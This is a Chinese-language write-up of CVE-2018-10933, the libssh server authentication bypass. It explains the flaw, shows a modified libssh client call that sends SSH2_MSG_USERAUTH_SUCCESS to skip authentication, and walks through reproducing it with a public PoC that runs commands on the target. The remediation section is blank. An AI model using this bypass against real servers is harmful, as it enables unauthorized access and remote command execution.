CVE-2018-10933⾝份验证绕过漏洞验证
0x00 事件背景
2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题
libssh版本0.6及更⾼版本在服务端代码中具有⾝份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动⾝份验证的 SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进⾏⾝份验证。 进⽽可以进⾏⼀些恶意操作。
0x01 漏洞原理
此处参考了360的⽂章
在libssh的example中已经存在⼀些server端的例⼦,测试环境则采⽤这些例⼦进⾏说明
这个漏洞能⽤,但⽬前就分析⽽⾔发现,⽆法很好的泛⽤,所以建议及时进⾏更新以免遭受影响
在libssh中以session的⽅式对会话进⾏处理,⽆论是server的建⽴还是client的连接。
均以
session = ssh_new();
因为这个漏洞是直接获得AUTH所以服务端的配置和客户端的连接认证⽅式等完全不⽤在意进⾏session建⽴
简单的client连接⽰例的部分代码,以体现逻辑为主。
⾸先是设置⼀些参数,然后利⽤session进⾏连接
然后进⾏knownhost认证处理,这步就是平时在进⾏ssh连接的时候进⾏提醒的是否要保存信息
if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0)
return -1;if(ssh_connect(session)){
fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
return -1;
}state=verify_knownhost(session);if (state != 0)
return -1;
auth=authenticate_console(session);if(auth != SSH_AUTH_SUCCESS){
return -1;
}
authenticate_console(session)
的流程为先发送⼀个ssh_userauth_none再根据选择的AUTH⽅式,尝试GSSAPI、PublicKey、 Password的⽅式
authenticate_console(session)
这⾥采⽤的patch掉client中发送密码认证的时候的数据包
将第⼆⾏的SSH2_MSG_USERAUTH_REQUEST -> SSH2_MSG_USERAUTH_SUCCESS
rc = ssh_buffer_pack(session->out_buffer, "bsssbs",
SSH2_MSG_USERAUTH_SUCCESS,
username ? username : session->opts.username,
"ssh-connection",
"password",
0, /* false */
password
);
这时候的session就已经可以获得相应的权限了。通过官⽅的Tutorial的执⾏命令的例⼦调 ⽤ssh_channel_request_exec进⾏命令执⾏并且需要在ssh_userauth_get_response之前直接返回,因为这⼀步会再次向服务端进⾏通 信,但此时受影响版本的server已经Authentication successful
0x02 CVE-2018-10933复现
⾸先搭建libssh的sshd服务器端 可以⽤这个demo
然后启动 这⾥我监听的是本地的123端⼝ 如果不能保证服务器安全的话最好在测试的时候都尽量监听本
地的端⼝ 不要去监听0.0.0.0
然后下载测试⽤的poc
GitHub地址如下
然后使⽤pip安装依赖的包cve漏洞库
安装指令是pip install -
然后就开始执⾏poc吧
这个poc的⽤法是python libsshauthbypass.py --host ⽬标ip -p ⽬标端⼝ -c 指令
0x03修复⽅案

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。